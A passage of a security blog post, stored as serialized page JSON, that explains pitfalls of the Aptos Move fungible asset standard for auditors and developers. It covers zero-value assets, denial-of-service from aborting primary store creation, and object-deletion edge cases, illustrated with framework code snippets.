destroy_zero",{"type":23,"tag":504,"props":61244,"children":61245},{"style":523},[61246],{"type":28,"value":526},{"type":23,"tag":504,"props":61248,"children":61249},{"style":529},[61250],{"type":28,"value":61251},"fungible_asset",{"type":23,"tag":504,"props":61253,"children":61254},{"style":598},[61255],{"type":28,"value":3472},{"type":23,"tag":504,"props":61257,"children":61258},{"style":1012},[61259],{"type":28,"value":60519},{"type":23,"tag":504,"props":61261,"children":61262},{"style":523},[61263],{"type":28,"value":537},{"type":23,"tag":504,"props":61265,"children":61266},{"class":506,"line":540},[61267,61271,61275,61279,61283,61287,61292,61296,61300,61304,61308,61312],{"type":23,"tag":504,"props":61268,"children":61269},{"style":511},[61270],{"type":28,"value":1977},{"type":23,"tag":504,"props":61272,"children":61273},{"style":1012},[61274],{"type":28,"value":60519},{"type":23,"tag":504,"props":61276,"children":61277},{"style":523},[61278],{"type":28,"value":747},{"type":23,"tag":504,"props":61280,"children":61281},{"style":529},[61282],{"type":28,"value":19288},{"type":23,"tag":504,"props":61284,"children":61285},{"style":523},[61286],{"type":28,"value":576},{"type":23,"tag":504,"props":61288,"children":61289},{"style":529},[61290],{"type":28,"value":61291},"metadata",{"type":23,"tag":504,"props":61293,"children":61294},{"style":598},[61295],{"type":28,"value":3472},{"type":23,"tag":504,"props":61297,"children":61298},{"style":529},[61299],{"type":28,"value":2013},{"type":23,"tag":504,"props":61301,"children":61302},{"style":523},[61303],{"type":28,"value":35179},{"type":23,"tag":504,"props":61305,"children":61306},{"style":598},[61307],{"type":28,"value":601},{"type":23,"tag":504,"props":61309,"children":61310},{"style":529},[61311],{"type":28,"value":60786},{"type":23,"tag":504,"props":61313,"children":61314},{"style":523},[61315],{"type":28,"value":866},{"type":23,"tag":504,"props":61317,"children":61318},{"class":506,"line":555},[61319,61324,61328,61332,61336,61340,61345,61349,61354],{"type":23,"tag":504,"props":61320,"children":61321},{"style":517},[61322],{"type":28,"value":61323},"    assert!",{"type":23,"tag":504,"props":61325,"children":61326},{"style":523},[61327],{"type":28,"value":526},{"type":23,"tag":504,"props":61329,"children":61330},{"style":529},[61331],{"type":28,"value":19288},{"type":23,"tag":504,"props":61333,"children":61334},{"style":598},[61335],{"type":28,"value":2260},{"type":23,"tag":504,"props":61337,"children":61338},{"style":1440},[61339],{"type":28,"value":2023},{"type":23,"tag":504,"props":61341,"children":61342},{"style":523},[61343],{"type":28,"value":61344},", error",{"type":23,"tag":504,"props":61346,"children":61347},{"style":598},[61348],{"type":28,"value":2457},{"type":23,"tag":504,"props":61350,"children":61351},{"style":517},[61352],{"type":28,"value":61353},"invalid_argument",{"type":23,"tag":504,"props":61355,"children":61356},{"style":523},[61357],{"type":28,"value":61358},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":23,"tag":504,"props":61360,"children":61361},{"class":506,"line":633},[61362],{"type":23,"tag":504,"props":61363,"children":61364},{"style":523},[61365],{"type":28,"value":884},{"type":23,"tag":504,"props":61367,"children":61368},{"class":506,"line":687},[61369],{"type":23,"tag":504,"props":61370,"children":61371},{"emptyLinePlaceholder":16},[61372],{"type":28,"value":1038},{"type":23,"tag":504,"props":61374,"children":61375},{"class":506,"line":736},[61376,61380,61384,61389,61393,61397,61401,61405,61409,61413,61417,61421,61425,61429,61433,61437,61441],{"type":23,"tag":504,"props":61377,"children":61378},{"style":529},[61379],{"type":28,"value":60654},{"type":23,"tag":504,"props":61381,"children":61382},{"style":529},[61383],{"type":28,"value":1051},{"type":23,"tag":504,"props":61385,"children":61386},{"style":529},[61387],{"type":28,"value":61388}," zero",{"type":23,"tag":504,"props":61390,"children":61391},{"style":523},[61392],{"type":28,"value":4789},{"type":23,"tag":504,"props":61394,"children":61395},{"style":1012},[61396],{"type":28,"value":4971},{"type":23,"tag":504,"props":61398,"children":61399},{"style":598},[61400],{"type":28,"value":3472},{"type":23,"tag":504,"props":61402,"children":61403},{"style":529},[61404],{"type":28,"value":4915},{"type":23,"tag":504,"props":61406,"children":61407},{"style":523},[61408],{"type":28,"value":6594},{"type":23,"tag":504,"props":61410,"children":61411},{"style":529},[61412],{"type":28,"value":61291},{"type":23,"tag":504,"props":61414,"children":61415},{"style":598},[61416],{"type":28,"value":3472},{"type":23,"tag":504,"props":61418,"children":61419},{"style":1012},[61420],{"type":28,"value":60540},{"type":23,"tag":504,"props":61422,"children":61423},{"style":523},[61424],{"type":28,"value":4789},{"type":23,"tag":504,"props":61426,"children":61427},{"style":1012},[61428],{"type":28,"value":4971},{"type":23,"tag":504,"props":61430,"children":61431},{"style":523},[61432],{"type":28,"value":7372},{"type":23,"tag":504,"props":61434,"children":61435},{"style":598},[61436],{"type":28,"value":3472},{"type":23,"tag":504,"props":61438,"children":61439},{"style":1012},[61440],{"type":28,"value":60519},{"type":23,"tag":504,"props":61442,"children":61443},{"style":523},[61444],{"type":28,"value":552},{"type":23,"tag":504,"props":61446,"children":61447},{"class":506,"line":785},[61448,61453],{"type":23,"tag":504,"props":61449,"children":61450},{"style":1012},[61451],{"type":28,"value":61452},"    FungibleAsset",{"type":23,"tag":504,"props":61454,"children":61455},{"style":523},[61456],{"type":28,"value":552},{"type":23,"tag":504,"props":61458,"children":61459},{"class":506,"line":813},[61460,61465,61469,61474,61478,61483,61487,61491],{"type":23,"tag":504,"props":61461,"children":61462},{"style":529},[61463],{"type":28,"value":61464},"        metadata",{"type":23,"tag":504,"props":61466,"children":61467},{"style":598},[61468],{"type":28,"value":3472},{"type":23,"tag":504,"props":61470,"children":61471},{"style":523},[61472],{"type":28,"value":61473}," object",{"type":23,"tag":504,"props":61475,"children":61476},{"style":598},[61477],{"type":28,"value":2457},{"type":23,"tag":504,"props":61479,"children":61480},{"style":517},[61481],{"type":28,"value":61482},"convert",{"type":23,"tag":504,"props":61484,"children":61485},{"style":523},[61486],{"type":28,"value":526},{"type":23,"tag":504,"props":61488,"children":61489},{"style":529},[61490],{"type":28,"value":61291},{"type":23,"tag":504,"props":61492,"children":61493},{"style":523},[61494],{"type":28,"value":5720},{"type":23,"tag":504,"props":61496,"children":61497},{"class":506,"line":851},[61498,61502,61506,61510],{"type":23,"tag":504,"props":61499,"children":61500},{"style":529},[61501],{"type":28,"value":6432},{"type":23,"tag":504,"props":61503,"children":61504},{"style":598},[61505],{"type":28,"value":3472},{"type":23,"tag":504,"props":61507,"children":61508},{"style":1440},[61509],{"type":28,"value":2023},{"type":23,"tag":504,"props":61511,"children":61512},{"style":523},[61513],{"type":28,"value":2484},{"type":23,"tag":504,"props":61515,"children":61516},{"class":506,"line":869},[61517],{"type":23,"tag":504,"props":61518,"children":61519},{"style":523},[61520],{"type":28,"value":875},{"type":23,"tag":504,"props":61522,"children":61523},{"class":506,"line":878},[61524],{"type":23,"tag":504,"props":61525,"children":61526},{"style":523},[61527],{"type":28,"value":884},{"type":23,"tag":24,"props":61529,"children":61530},{},[61531],{"type":28,"value":61532},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":23,"tag":24,"props":61534,"children":61535},{},[61536,61538,61543],{"type":28,"value":61537},"In practice, the ability to freely mint and burn zero ",{"type":23,"tag":56,"props":61539,"children":61541},{"className":61540},[],[61542],{"type":28,"value":60632},{"type":28,"value":61544}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":23,"tag":82,"props":61546,"children":61548},{"id":61547},"primary-and-secondary-stores",[61549],{"type":28,"value":61550},"Primary and secondary stores",{"type":23,"tag":24,"props":61552,"children":61553},{},[61554,61560,61562,61568,61570,61575],{"type":23,"tag":56,"props":61555,"children":61557},{"className":61556},[],[61558],{"type":28,"value":61559},"FungibleStores",{"type":28,"value":61561}," in comparison to ",{"type":23,"tag":56,"props":61563,"children":61565},{"className":61564},[],[61566],{"type":28,"value":61567},"CoinStores",{"type":28,"value":61569}," are not unique. Each user can have multiple ",{"type":23,"tag":56,"props":61571,"children":61573},{"className":61572},[],[61574],{"type":28,"value":61055},{"type":28,"value":61576}," objects for a given token!",{"type":23,"tag":24,"props":61578,"children":61579},{},[61580,61582,61589,61591,61596],{"type":28,"value":61581},"A primary fungible store is maintained via the aptly named ",{"type":23,"tag":92,"props":61583,"children":61586},{"href":61584,"rel":61585},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[96],[61587],{"type":28,"value":61588},"primary_fungible_store",{"type":28,"value":61590}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":23,"tag":56,"props":61592,"children":61594},{"className":61593},[],[61595],{"type":28,"value":60549},{"type":28,"value":61597}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":23,"tag":24,"props":61599,"children":61600},{},[61601],{"type":28,"value":61602},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":23,"tag":494,"props":61604,"children":61606},{"className":1957,"code":61605,"language":1956,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[61607],{"type":23,"tag":56,"props":61608,"children":61609},{"__ignoreMap":7},[61610,61635,61667,61690,61706,61760,61775],{"type":23,"tag":504,"props":61611,"children":61612},{"class":506,"line":507},[61613,61617,61622,61626,61631],{"type":23,"tag":504,"props":61614,"children":61615},{"style":529},[61616],{"type":28,"value":60654},{"type":23,"tag":504,"props":61618,"children":61619},{"style":529},[61620],{"type":28,"value":61621}," entry",{"type":23,"tag":504,"props":61623,"children":61624},{"style":529},[61625],{"type":28,"value":1051},{"type":23,"tag":504,"props":61627,"children":61628},{"style":517},[61629],{"type":28,"value":61630}," register",{"type":23,"tag":504,"props":61632,"children":61633},{"style":523},[61634],{"type":28,"value":2439},{"type":23,"tag":504,"props":61636,"children":61637},{"class":506,"line":540},[61638,61643,61647,61651,61655,61659,61663],{"type":23,"tag":504,"props":61639,"children":61640},{"style":529},[61641],{"type":28,"value":61642},"    user",{"type":23,"tag":504,"props":61644,"children":61645},{"style":598},[61646],{"type":28,"value":3472},{"type":23,"tag":504,"props":61648,"children":61649},{"style":598},[61650],{"type":28,"value":6125},{"type":23,"tag":504,"props":61652,"children":61653},{"style":529},[61654],{"type":28,"value":6130},{"type":23,"tag":504,"props":61656,"children":61657},{"style":523},[61658],{"type":28,"value":43114},{"type":23,"tag":504,"props":61660,"children":61661},{"style":598},[61662],{"type":28,"value":8572},{"type":23,"tag":504,"props":61664,"children":61665},{"style":523},[61666],{"type":28,"value":10754},{"type":23,"tag":504,"props":61668,"children":61669},{"class":506,"line":555},[61670,61674,61678,61682,61686],{"type":23,"tag":504,"props":61671,"children":61672},{"style":523},[61673],{"type":28,"value":2064},{"type":23,"tag":504,"props":61675,"children":61676},{"style":529},[61677],{"type":28,"value":5327},{"type":23,"tag":504,"props":61679,"children":61680},{"style":523},[61681],{"type":28,"value":566},{"type":23,"tag":504,"props":61683,"children":61684},{"style":598},[61685],{"type":28,"value":8572},{"type":23,"tag":504,"props":61687,"children":61688},{"style":523},[61689],{"type":28,"value":60745},{"type":23,"tag":504,"props":61691,"children":61692},{"class":506,"line":633},[61693,61698,61702],{"type":23,"tag":504,"props":61694,"children":61695},{"style":523},[61696],{"type":28,"value":61697},"    [",{"type":23,"tag":504,"props":61699,"children":61700},{"style":598},[61701],{"type":28,"value":8572},{"type":23,"tag":504,"props":61703,"children":61704},{"style":523},[61705],{"type":28,"value":10754},{"type":23,"tag":504,"props":61707,"children":61708},{"class":506,"line":687},[61709,61713,61718,61722,61727,61731,61735,61739,61743,61747,61751,61756],{"type":23,"tag":504,"props":61710,"children":61711},{"style":511},[61712],{"type":28,"value":1977},{"type":23,"tag":504,"props":61714,"children":61715},{"style":529},[61716],{"type":28,"value":61717}," wallet_store",{"type":23,"tag":504,"props":61719,"children":61720},{"style":598},[61721],{"type":28,"value":648},{"type":23,"tag":504,"props":61723,"children":61724},{"style":517},[61725],{"type":28,"value":61726}," create_primary_store",{"type":23,"tag":504,"props":61728,"children":61729},{"style":523},[61730],{"type":28,"value":6184},{"type":23,"tag":504,"props":61732,"children":61733},{"style":598},[61734],{"type":28,"value":2457},{"type":23,"tag":504,"props":61736,"children":61737},{"style":517},[61738],{"type":28,"value":6193},{"type":23,"tag":504,"props":61740,"children":61741},{"style":523},[61742],{"type":28,"value":526},{"type":23,"tag":504,"props":61744,"children":61745},{"style":529},[61746],{"type":28,"value":60840},{"type":23,"tag":504,"props":61748,"children":61749},{"style":523},[61750],{"type":28,"value":14157},{"type":23,"tag":504,"props":61752,"children":61753},{"style":517},[61754],{"type":28,"value":61755},"get_metadata",{"type":23,"tag":504,"props":61757,"children":61758},{"style":523},[61759],{"type":28,"value":14405},{"type":23,"tag":504,"props":61761,"children":61762},{"class":506,"line":736},[61763,61767,61771],{"type":23,"tag":504,"props":61764,"children":61765},{"style":523},[61766],{"type":28,"value":61697},{"type":23,"tag":504,"props":61768,"children":61769},{"style":598},[61770],{"type":28,"value":8572},{"type":23,"tag":504,"props":61772,"children":61773},{"style":523},[61774],{"type":28,"value":10754},{"type":23,"tag":504,"props":61776,"children":61777},{"class":506,"line":785},[61778],{"type":23,"tag":504,"props":61779,"children":61780},{"style":523},[61781],{"type":28,"value":884},{"type":23,"tag":24,"props":61783,"children":61784},{},[61785,61786,61792,61794,61800],{"type":28,"value":15592},{"type":23,"tag":56,"props":61787,"children":61789},{"className":61788},[],[61790],{"type":28,"value":61791},"create_primary_store",{"type":28,"value":61793}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":23,"tag":56,"props":61795,"children":61797},{"className":61796},[],[61798],{"type":28,"value":61799},"ensure_primary_store_exists",{"type":28,"value":61801}," is recommended to avoid such issues.",{"type":23,"tag":70,"props":61803,"children":61805},{"id":61804},"fungible-assets-and-objects",[61806],{"type":28,"value":61807},"Fungible assets and objects",{"type":23,"tag":24,"props":61809,"children":61810},{},[61811,61813,61818,61820,61827],{"type":28,"value":61812},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":23,"tag":56,"props":61814,"children":61816},{"className":61815},[],[61817],{"type":28,"value":47830},{"type":28,"value":61819}," module, introduced in ",{"type":23,"tag":92,"props":61821,"children":61824},{"href":61822,"rel":61823},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[96],[61825],{"type":28,"value":61826},"AIP-10",{"type":28,"value":320},{"type":23,"tag":1909,"props":61829,"children":61830},{},[61831],{"type":23,"tag":24,"props":61832,"children":61833},{},[61834,61838],{"type":23,"tag":504,"props":61835,"children":61836},{},[61837],{"type":28,"value":60429},{"type":28,"value":61839}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":23,"tag":24,"props":61841,"children":61842},{},[61843],{"type":28,"value":61844},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":23,"tag":82,"props":61846,"children":61848},{"id":61847},"creation-and-deletion",[61849],{"type":28,"value":61850},"Creation and deletion",{"type":23,"tag":24,"props":61852,"children":61853},{},[61854,61856,61862],{"type":28,"value":61855},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":23,"tag":56,"props":61857,"children":61859},{"className":61858},[],[61860],{"type":28,"value":61861},"fungible_asset::add_fungibility",{"type":28,"value":3472},{"type":23,"tag":494,"props":61864,"children":61866},{"className":1957,"code":61865,"language":1956,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[61867],{"type":23,"tag":56,"props":61868,"children":61869},{"__ignoreMap":7},[61870],{"type":23,"tag":504,"props":61871,"children":61872},{"class":506,"line":507},[61873,61877,61881,61885,61890,61894,61899,61903,61908,61913,61917,61921],{"type":23,"tag":504,"props":61874,"children":61875},{"style":517},[61876],{"type":28,"value":40959},{"type":23,"tag":504,"props":61878,"children":61879},{"style":523},[61880],{"type":28,"value":526},{"type":23,"tag":504,"props":61882,"children":61883},{"style":598},[61884],{"type":28,"value":19603},{"type":23,"tag":504,"props":61886,"children":61887},{"style":523},[61888],{"type":28,"value":61889},"object",{"type":23,"tag":504,"props":61891,"children":61892},{"style":598},[61893],{"type":28,"value":2457},{"type":23,"tag":504,"props":61895,"children":61896},{"style":517},[61897],{"type":28,"value":61898},"can_generate_delete_ref",{"type":23,"tag":504,"props":61900,"children":61901},{"style":523},[61902],{"type":28,"value":526},{"type":23,"tag":504,"props":61904,"children":61905},{"style":529},[61906],{"type":28,"value":61907},"constructor_ref",{"type":23,"tag":504,"props":61909,"children":61910},{"style":523},[61911],{"type":28,"value":61912},"), error",{"type":23,"tag":504,"props":61914,"children":61915},{"style":598},[61916],{"type":28,"value":2457},{"type":23,"tag":504,"props":61918,"children":61919},{"style":517},[61920],{"type":28,"value":61353},{"type":23,"tag":504,"props":61922,"children":61923},{"style":523},[61924],{"type":28,"value":61925},"(EOBJECT_IS_DELETABLE));\n",{"type":23,"tag":24,"props":61927,"children":61928},{},[61929,61931,61936,61938,61943,61944,61951],{"type":28,"value":61930},"This object serves as the foundation for ownership tokens in the form of a ",{"type":23,"tag":56,"props":61932,"children":61934},{"className":61933},[],[61935],{"type":28,"value":60490},{"type":28,"value":61937},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":23,"tag":56,"props":61939,"children":61941},{"className":61940},[],[61942],{"type":28,"value":61861},{"type":28,"value":5441},{"type":23,"tag":92,"props":61945,"children":61948},{"href":61946,"rel":61947},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[96],[61949],{"type":28,"value":61950},"lacked this assert",{"type":28,"value":61952},", which we discovered and reported.",{"type":23,"tag":24,"props":61954,"children":61955},{},[61956,61961,61963,61968,61970,61975],{"type":23,"tag":56,"props":61957,"children":61959},{"className":61958},[],[61960],{"type":28,"value":61861},{"type":28,"value":61962}," transfers the ",{"type":23,"tag":56,"props":61964,"children":61966},{"className":61965},[],[61967],{"type":28,"value":60549},{"type":28,"value":61969}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":23,"tag":56,"props":61971,"children":61973},{"className":61972},[],[61974],{"type":28,"value":60490},{"type":28,"value":61976}," can be minted, representing a share of ownership in that object.",{"type":23,"tag":494,"props":61978,"children":61980},{"className":1957,"code":61979,"language":1956,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[61981],{"type":23,"tag":56,"props":61982,"children":61983},{"__ignoreMap":7},[61984,61992,62012,62027,62054,62069,62090,62102,62114,62126,62138,62150,62162,62169,62176,62191],{"type":23,"tag":504,"props":61985,"children":61986},{"class":506,"line":507},[61987],{"type":23,"tag":504,"props":61988,"children":61989},{"style":1106},[61990],{"type":28,"value":61991},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":23,"tag":504,"props":61993,"children":61994},{"class":506,"line":540},[61995,61999,62003,62008],{"type":23,"tag":504,"props":61996,"children":61997},{"style":529},[61998],{"type":28,"value":60654},{"type":23,"tag":504,"props":62000,"children":62001},{"style":529},[62002],{"type":28,"value":1051},{"type":23,"tag":504,"props":62004,"children":62005},{"style":517},[62006],{"type":28,"value":62007}," add_fungibility",{"type":23,"tag":504,"props":62009,"children":62010},{"style":523},[62011],{"type":28,"value":2439},{"type":23,"tag":504,"props":62013,"children":62014},{"class":506,"line":555},[62015,62019,62023],{"type":23,"tag":504,"props":62016,"children":62017},{"style":523},[62018],{"type":28,"value":61697},{"type":23,"tag":504,"props":62020,"children":62021},{"style":598},[62022],{"type":28,"value":8572},{"type":23,"tag":504,"props":62024,"children":62025},{"style":523},[62026],{"type":28,"value":10754},{"type":23,"tag":504,"props":62028,"children":62029},{"class":506,"line":633},[62030,62034,62038,62042,62046,62050],{"type":23,"tag":504,"props":62031,"children":62032},{"style":523},[62033],{"type":28,"value":2105},{"type":23,"tag":504,"props":62035,"children":62036},{"style":598},[62037],{"type":28,"value":3472},{"type":23,"tag":504,"props":62039,"children":62040},{"style":1012},[62041],{"type":28,"value":60540},{"type":23,"tag":504,"props":62043,"children":62044},{"style":523},[62045],{"type":28,"value":4789},{"type":23,"tag":504,"props":62047,"children":62048},{"style":1012},[62049],{"type":28,"value":60549},{"type":23,"tag":504,"props":62051,"children":62052},{"style":523},[62053],{"type":28,"value":6264},{"type":23,"tag":504,"props":62055,"children":62056},{"class":506,"line":687},[62057,62061,62065],{"type":23,"tag":504,"props":62058,"children":62059},{"style":523},[62060],{"type":28,"value":61697},{"type":23,"tag":504,"props":62062,"children":62063},{"style":598},[62064],{"type":28,"value":8572},{"type":23,"tag":504,"props":62066,"children":62067},{"style":523},[62068],{"type":28,"value":10754},{"type":23,"tag":504,"props":62070,"children":62071},{"class":506,"line":736},[62072,62077,62081,62086],{"type":23,"tag":504,"props":62073,"children":62074},{"style":517},[62075],{"type":28,"value":62076},"    move_to",{"type":23,"tag":504,"props":62078,"children":62079},{"style":523},[62080],{"type":28,"value":526},{"type":23,"tag":504,"props":62082,"children":62083},{"style":529},[62084],{"type":28,"value":62085},"metadata_object_signer",{"type":23,"tag":504,"props":62087,"children":62088},{"style":523},[62089],{"type":28,"value":2484},{"type":23,"tag":504,"props":62091,"children":62092},{"class":506,"line":785},[62093,62098],{"type":23,"tag":504,"props":62094,"children":62095},{"style":1012},[62096],{"type":28,"value":62097},"        Metadata",{"type":23,"tag":504,"props":62099,"children":62100},{"style":523},[62101],{"type":28,"value":552},{"type":23,"tag":504,"props":62103,"children":62104},{"class":506,"line":813},[62105,62110],{"type":23,"tag":504,"props":62106,"children":62107},{"style":529},[62108],{"type":28,"value":62109},"            name",{"type":23,"tag":504,"props":62111,"children":62112},{"style":523},[62113],{"type":28,"value":2484},{"type":23,"tag":504,"props":62115,"children":62116},{"class":506,"line":851},[62117,62122],{"type":23,"tag":504,"props":62118,"children":62119},{"style":529},[62120],{"type":28,"value":62121},"            symbol",{"type":23,"tag":504,"props":62123,"children":62124},{"style":523},[62125],{"type":28,"value":2484},{"type":23,"tag":504,"props":62127,"children":62128},{"class":506,"line":869},[62129,62134],{"type":23,"tag":504,"props":62130,"children":62131},{"style":529},[62132],{"type":28,"value":62133},"            decimals",{"type":23,"tag":504,"props":62135,"children":62136},{"style":523},[62137],{"type":28,"value":2484},{"type":23,"tag":504,"props":62139,"children":62140},{"class":506,"line":878},[62141,62146],{"type":23,"tag":504,"props":62142,"children":62143},{"style":529},[62144],{"type":28,"value":62145},"            icon_uri",{"type":23,"tag":504,"props":62147,"children":62148},{"style":523},[62149],{"type":28,"value":2484},{"type":23,"tag":504,"props":62151,"children":62152},{"class":506,"line":1221},[62153,62158],{"type":23,"tag":504,"props":62154,"children":62155},{"style":529},[62156],{"type":28,"value":62157},"            project_uri",{"type":23,"tag":504,"props":62159,"children":62160},{"style":523},[62161],{"type":28,"value":2484},{"type":23,"tag":504,"props":62163,"children":62164},{"class":506,"line":1276},[62165],{"type":23,"tag":504,"props":62166,"children":62167},{"style":523},[62168],{"type":28,"value":1291},{"type":23,"tag":504,"props":62170,"children":62171},{"class":506,"line":1285},[62172],{"type":23,"tag":504,"props":62173,"children":62174},{"style":523},[62175],{"type":28,"value":42633},{"type":23,"tag":504,"props":62177,"children":62178},{"class":506,"line":1294},[62179,62183,62187],{"type":23,"tag":504,"props":62180,"children":62181},{"style":523},[62182],{"type":28,"value":2711},{"type":23,"tag":504,"props":62184,"children":62185},{"style":598},[62186],{"type":28,"value":8572},{"type":23,"tag":504,"props":62188,"children":62189},{"style":523},[62190],{"type":28,"value":10754},{"type":23,"tag":504,"props":62192,"children":62193},{"class":506,"line":1302},[62194],{"type":23,"tag":504,"props":62195,"children":62196},{"style":523},[62197],{"type":28,"value":884},{"type":23,"tag":17774,"props":62199,"children":62200},{},[],{"type":23,"tag":24,"props":62202,"children":62203},{},[62204,62206,62211,62213,62218],{"type":28,"value":62205},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":23,"tag":56,"props":62207,"children":62209},{"className":62208},[],[62210],{"type":28,"value":61055},{"type":28,"value":62212}," is also an object, and a \"secondary\" ",{"type":23,"tag":56,"props":62214,"children":62216},{"className":62215},[],[62217],{"type":28,"value":61055},{"type":28,"value":62219}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":23,"tag":494,"props":62221,"children":62223},{"className":1957,"code":62222,"language":1956,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[62224],{"type":23,"tag":56,"props":62225,"children":62226},{"__ignoreMap":7},[62227,62235,62277,62284,62292],{"type":23,"tag":504,"props":62228,"children":62229},{"class":506,"line":507},[62230],{"type":23,"tag":504,"props":62231,"children":62232},{"style":1106},[62233],{"type":28,"value":62234},"//Fungible asset\n",{"type":23,"tag":504,"props":62236,"children":62237},{"class":506,"line":540},[62238,62242,62246,62251,62255,62260,62264,62268,62273],{"type":23,"tag":504,"props":62239,"children":62240},{"style":529},[62241],{"type":28,"value":60654},{"type":23,"tag":504,"props":62243,"children":62244},{"style":529},[62245],{"type":28,"value":1051},{"type":23,"tag":504,"props":62247,"children":62248},{"style":517},[62249],{"type":28,"value":62250}," remove_store",{"type":23,"tag":504,"props":62252,"children":62253},{"style":523},[62254],{"type":28,"value":526},{"type":23,"tag":504,"props":62256,"children":62257},{"style":529},[62258],{"type":28,"value":62259},"delete_ref",{"type":23,"tag":504,"props":62261,"children":62262},{"style":598},[62263],{"type":28,"value":3472},{"type":23,"tag":504,"props":62265,"children":62266},{"style":598},[62267],{"type":28,"value":6125},{"type":23,"tag":504,"props":62269,"children":62270},{"style":1012},[62271],{"type":28,"value":62272},"DeleteRef",{"type":23,"tag":504,"props":62274,"children":62275},{"style":523},[62276],{"type":28,"value":1192},{"type":23,"tag":504,"props":62278,"children":62279},{"class":506,"line":555},[62280],{"type":23,"tag":504,"props":62281,"children":62282},{"emptyLinePlaceholder":16},[62283],{"type":28,"value":1038},{"type":23,"tag":504,"props":62285,"children":62286},{"class":506,"line":633},[62287],{"type":23,"tag":504,"props":62288,"children":62289},{"style":1106},[62290],{"type":28,"value":62291},"//Object\n",{"type":23,"tag":504,"props":62293,"children":62294},{"class":506,"line":687},[62295,62299,62303,62308,62312,62317,62321,62326],{"type":23,"tag":504,"props":62296,"children":62297},{"style":529},[62298],{"type":28,"value":60654},{"type":23,"tag":504,"props":62300,"children":62301},{"style":529},[62302],{"type":28,"value":1051},{"type":23,"tag":504,"props":62304,"children":62305},{"style":517},[62306],{"type":28,"value":62307}," delete",{"type":23,"tag":504,"props":62309,"children":62310},{"style":523},[62311],{"type":28,"value":526},{"type":23,"tag":504,"props":62313,"children":62314},{"style":511},[62315],{"type":28,"value":62316},"ref",{"type":23,"tag":504,"props":62318,"children":62319},{"style":598},[62320],{"type":28,"value":3472},{"type":23,"tag":504,"props":62322,"children":62323},{"style":1012},[62324],{"type":28,"value":62325}," DeleteRef",{"type":23,"tag":504,"props":62327,"children":62328},{"style":523},[62329],{"type":28,"value":1192},{"type":23,"tag":24,"props":62331,"children":62332},{},[62333,62335,62341,62343,62348,62350,62355,62357,62362,62364,62370,62372,62378,62380,62385],{"type":28,"value":62334},"When ",{"type":23,"tag":56,"props":62336,"children":62338},{"className":62337},[],[62339],{"type":28,"value":62340},"object::delete",{"type":28,"value":62342}," removes the ",{"type":23,"tag":56,"props":62344,"children":62346},{"className":62345},[],[62347],{"type":28,"value":47830},{"type":28,"value":62349}," from a ",{"type":23,"tag":56,"props":62351,"children":62353},{"className":62352},[],[62354],{"type":28,"value":61055},{"type":28,"value":62356}," object, the ",{"type":23,"tag":56,"props":62358,"children":62360},{"className":62359},[],[62361],{"type":28,"value":61055},{"type":28,"value":62363}," resource becomes permanently undeletable. This is because ",{"type":23,"tag":56,"props":62365,"children":62367},{"className":62366},[],[62368],{"type":28,"value":62369},"remove_store",{"type":28,"value":62371}," can't create an ",{"type":23,"tag":56,"props":62373,"children":62375},{"className":62374},[],[62376],{"type":28,"value":62377},"Object\u003CFungibleStore>",{"type":28,"value":62379}," without an ",{"type":23,"tag":56,"props":62381,"children":62383},{"className":62382},[],[62384],{"type":28,"value":47830},{"type":28,"value":62386}," underneath, causing the operation to fail.",{"type":23,"tag":494,"props":62388,"children":62390},{"className":1957,"code":62389,"language":1956,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    